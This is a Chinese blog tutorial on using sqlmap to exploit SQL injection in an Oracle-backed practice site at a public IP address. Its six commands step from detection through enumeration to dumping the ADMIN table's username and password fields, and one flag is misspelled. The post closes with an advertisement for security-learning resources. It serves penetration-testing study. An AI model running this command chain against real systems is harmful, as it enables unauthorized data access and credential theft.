SqlMap——Oracle注入教程

最新推荐文章于 2025-03-03 18:06:05 发布

W小哥1

最新推荐文章于 2025-03-03 18:06:05 发布

阅读量4.3k

点赞数 1

分类专栏： # SQL注入文章标签： hadoop 大数据 big data

本文链接：https://blog.csdn.net/weixin_40412037/article/details/121650292

版权

SQL注入专栏收录该内容

8 篇文章

订阅专栏

一、漏洞复现

靶场注入点： http://59.63.200.79:8808/?id=1

1、使用sqlmap检测是否存在注入点

python sqlmap.py -u "http://59.63.200.79:8808/?id=1" --random-agent

在这里插入图片描述
检测发现存在注入点，注入点在参数id的位置，数据库为Oracle数据库

2、查看Oracle中全部的数据库

python sqlmap.py -u "http://59.63.200.79:8808/?id=1" --random-agent --dbs

在这里插入图片描述
查询出来全部的数据库如下所示

3、查看当前网站使用的数据库

python sqlmap.py -u "http://59.63.200.79:8808/?id=1" --random-agent --cueernt-db

在这里插入图片描述
当前网站使用的数据库：ORACLE1

4、查看 ORACLE1 数据库的所有表名

python sqlmap.py -u "http://59.63.200.79:8808/?id=1" --random-agent -D ORACLE1 --tables

在这里插入图片描述

5、查看 ORACLE1 数据库的ADMIN表的所有列名

python sqlmap.py -u "http://59.63.200.79:8808/?id=1" --random-agent -D ORACLE1 -T ADMIN --columns

在这里插入图片描述

6、查看所有字段的值

python sqlmap.py -u "http://59.63.200.79:8808/?id=1" --random-agent -D ORACLE1 -T ADMIN -C UNAME,UPASS --dump

在这里插入图片描述
爆破出账号密码

更多资源：
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球，可加入知识星球进行查看。也可搜索关注微信公众号：W小哥
在这里插入图片描述